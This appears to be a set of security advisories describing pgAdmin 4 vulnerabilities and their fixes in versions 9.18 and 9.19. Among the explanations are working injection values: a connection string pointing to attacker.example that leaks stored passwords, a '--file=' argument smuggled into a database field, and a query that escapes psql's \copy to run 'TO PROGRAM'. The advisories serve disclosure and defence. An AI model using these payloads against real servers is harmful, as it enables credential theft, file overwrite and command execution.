pgAdmin 4 versions before 9.19 contain an argument injection vulnerability in the materialized view refresh feature. The database name passed to the psql --dbname argument was not properly sanitized, allowing a specially crafted database name to redirect connections to arbitrary hosts and ports. This could expose the connecting user's saved server password to an attacker-controlled endpoint. The issue was fixed in version 9.19 by properly routing the database name through a helper function that ensures it is treated strictly as a database name.
pgAdmin 4 versions before 9.19 did not invalidate existing user sessions when a password was changed, allowing sessions established before the change to remain active until expiration. This could enable continued access by someone with an old password or session cookie despite the password update. The issue is fixed in version 9.19 by rotating the user's session identifier upon password change, logging out all other sessions. Saved server passwords are also re-encrypted or cleared if re-encryption fails.
CVE-2026-116250 is a time-of-check to time-of-use (TOCTOU) race condition vulnerability in pgAdmin 4 server mode prior to version 9.19. It allows an attacker with write access to the user's storage directory to exploit symbolic or hard links or FIFOs to read, write, or load files outside the intended storage directory with the privileges of the pgAdmin operating system account. Exploitation requires the ability to create such links or FIFOs in the storage directory and to win a race condition. The issue was fixed in pgAdmin 4 version 9.19 by securely opening files component-by-component with O_NOFOLLOW and passing open file descriptors to utilities.
CVE-2026-116249 is a path traversal vulnerability in pgAdmin 4 server mode prior to version 9.19. It allows an attacker to specify file paths outside the intended user storage directory, potentially accessing another user's password file, SSL certificates, keys, or SSH tunnel identity files. Additionally, crafted connection parameter names could bypass validation, enabling injection of extra parameters. The issue is fixed in version 9.19 by enforcing path confinement and strict parameter name validation.
CVE-2026-116248 is a missing authorization vulnerability in pgAdmin 4 server mode prior to version 9.19. It allows non-administrative users to create or import shared servers that appear trusted to other users, potentially tricking them into connecting to attacker-controlled hosts and exposing their database credentials. The vulnerability arises because the server API improperly accepts and stores the 'shared' flag from non-administrators, and the servers.json import only removes unauthorized shared entries after validation. The issue is fixed in pgAdmin 4 version 9.19 by rejecting unauthorized share requests and pruning shared entries from imports before validation.
CVE-2026-116247 is a vulnerability in pgAdmin 4 before version 9.19 where insufficient protection of credentials in server mode allows any user to connect using the service account's saved passwords or client certificate. This occurs when no password file, client certificate, or client key is configured or found, causing libpq to fall back to default credential files of the operating system account running pgAdmin. The issue is fixed in version 9.19 by ensuring connection parameters explicitly specify user-specific credential files or invalid paths to prevent unauthorized access.
CVE-2026-116246 is a vulnerability in pgAdmin 4 before version 9.19 where server passwords were exposed in the process environment. Passwords were stored in environment variables shared across user requests and inherited by background processes, allowing one user to access another user's saved password. This issue was fixed in version 9.19 by isolating the password environment to only the specific process that requires it.
CVE-2026-116245 is a vulnerability in pgAdmin 4 before version 9.19 where insufficient protection of credentials allows unauthorized users in server mode to connect using stored service credentials. The issue arises because libpq uses connection service entries from the operating system account running pgAdmin 4, which can include passwords or references to password files or client certificates. The vulnerability is addressed in pgAdmin 4 version 9.19 by introducing a SERVER_MODE_ALLOWED_SERVICES setting that restricts allowed services, disallows the servicefile parameter, and removes sensitive environment variables at startup.
CVE-2026-116244 is a vulnerability in pgAdmin 4 before version 9.19 where Kerberos credentials were insufficiently protected. The issue allowed any user to connect as the service account's Kerberos principal in server mode due to improper handling of Kerberos credential caches. The vulnerability was fixed in pgAdmin 4 version 9.19 by restricting credential cache usage and enforcing stricter authentication requirements.
CVE-2026-116243 is a high-severity vulnerability in pgAdmin 4 before version 9.19. It involves an untrusted search path issue where pgAdmin runs database utility binaries from user-configured paths. In server mode, the binary path validation was insufficient, allowing users to upload executables to shared storage and have pgAdmin run them with the server's operating system privileges. This is exploitable particularly on Windows servers where uploaded files can be executable. The issue is fixed in pgAdmin 4 version 9.19 by enhancing path validation and checks.
pgAdmin 4 versions before 9.19 have a vulnerability where SSH tunnels in server mode improperly use the service account's SSH keys and configuration, allowing any user to create tunnels to hosts accepting the service account's key without their own credentials. This issue is fixed in version 9.19 by restricting tunnel authentication to only the user's configured identity file or password.
CVE-2026-116241 is a critical OS command injection vulnerability in pgAdmin 4 versions before 9.19. It arises from improper handling of backslashes inside double-quoted identifiers in the Import/Export Data tool's query export feature. This flaw allows an attacker with non-administrative database role permissions to execute arbitrary OS commands on the host running pgAdmin by exploiting a discrepancy in how pgAdmin and psql parse quoted strings when standard_conforming_strings is turned off. The issue bypasses a previous fix and is resolved in pgAdmin 4 version 9.19.
CVE-2026-116240 is a path traversal vulnerability in pgAdmin 4 server mode before version 9.19. The issue arises because the path validation function check_access_permission() and the actual file operations use differently constructed paths, allowing attackers to access or manipulate files outside the intended user storage directory. This affects operations such as opening files in the Query Tool, listing folders, downloading, deleting, renaming files, and creating folders. The vulnerability does not affect desktop mode. It has a CVSS 3.1 score of 6.5 (medium severity).
CVE-2026-116239 is an improper authentication vulnerability in pgAdmin 4 server mode before version 9.19. It allows an LDAP or Kerberos authenticated user to be logged in as a different account if usernames overlap across authentication sources, potentially gaining access to another user's roles, servers, and saved database passwords. The flaw arises because pgAdmin selects the account to log in by username alone or by the login form's lookup without verifying the authentication source. This issue does not affect desktop mode and requires valid LDAP or Kerberos credentials to exploit.
CVE-2026-116238 is a vulnerability in pgAdmin 4 server mode before version 9.19 that allows bypassing the limit on failed login attempts for internal accounts. This flaw enables an unauthenticated attacker to make unlimited password guesses against internal accounts, including administrator accounts, due to improper handling of authentication attempts and password reset processes. The issue arises from the coexistence of Flask-Security views and pgAdmin's own authentication logic, case-insensitive username matching, and interactions with other authentication sources like LDAP and Kerberos. The vulnerability does not affect desktop mode and has been fixed in version 9.19.
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVER_REMOTE_USER was configured to an HTTP_-prefixed or hyphenated name such as HTTP_X_FORWARDED_USER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when 'webserver' is enabled in AUTHENTICATION_SOURCES.
The fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVER_REMOTE_USER_FROM_HEADER, the request arrives from a peer listed in WEBSERVER_TRUSTED_PROXIES, and, when configured, a shared secret supplied in WEBSERVER_SHARED_SECRET_HEADER matches WEBSERVER_SHARED_SECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remote_addr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose auth_source is not 'webserver', so a misconfigured trust gate cannot be used to assume an internal or LDAP account.
This issue affects pgAdmin 4: from 6.2 before 9.18.
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
pgAdmin 4's File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a symbolic link at the final path component, but save_file was left on an unprotected open(). A symbolic link already present when the check ran was rejected by the check itself; the remaining exposure was a link substituted at the final path component in the interval between the check and the write, at which point the write followed the link and landed outside the user's storage directory, creating or overwriting an arbitrary file as the operating-system account running pgAdmin.
Exploitation requires the ability to create or replace a symbolic link inside the requesting user's storage directory. pgAdmin exposes no interface that creates symbolic links, so this requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, together with winning the timing window. The reporter did not achieve a write against a released version, having attempted approximately 63,000 racing requests without success; the reported defect is the uncovered write path rather than a demonstrated sandbox escape.
The fix routes save_file's write through the same O_NOFOLLOW-protected helper already used by the upload path, so both File Manager write sinks carry identical kernel-enforced protection, and reports a symbolic-link refusal explicitly instead of surfacing the underlying system error text. Note that files created by save_file are now given mode 0600, inheriting the behaviour introduced for uploads. The protection covers the final path component; substitution of an intermediate directory component is not addressed by this change.
This issue affects pgAdmin 4: from the introduction of the containment check in the File Manager save path before 9.18.
pgAdmin 4's Import/Export Data tool builds a psql \copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, create_import_export_job() (route POST /import_export/job/<sid>, gated only by the ordinary, commonly-granted tools_import_export_data permission) validated the query with a hand-written parenthesis-balance checker, _is_query_parens_balanced(). That checker always treated a backslash before a single quote (\') as escaping the quote, i.e. as if standard_conforming_strings were off. PostgreSQL has defaulted standard_conforming_strings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql's own \copy tokenizer treats \ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' was therefore accepted as "balanced" by pgAdmin's checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \copy (...) subquery, exposing an attacker-chosen TO PROGRAM '<command>' clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor).
The fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \ depends on the target server's standard_conforming_strings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing.
This issue affects pgAdmin 4: from the introduction of _is_query_parens_balanced() before 9.18.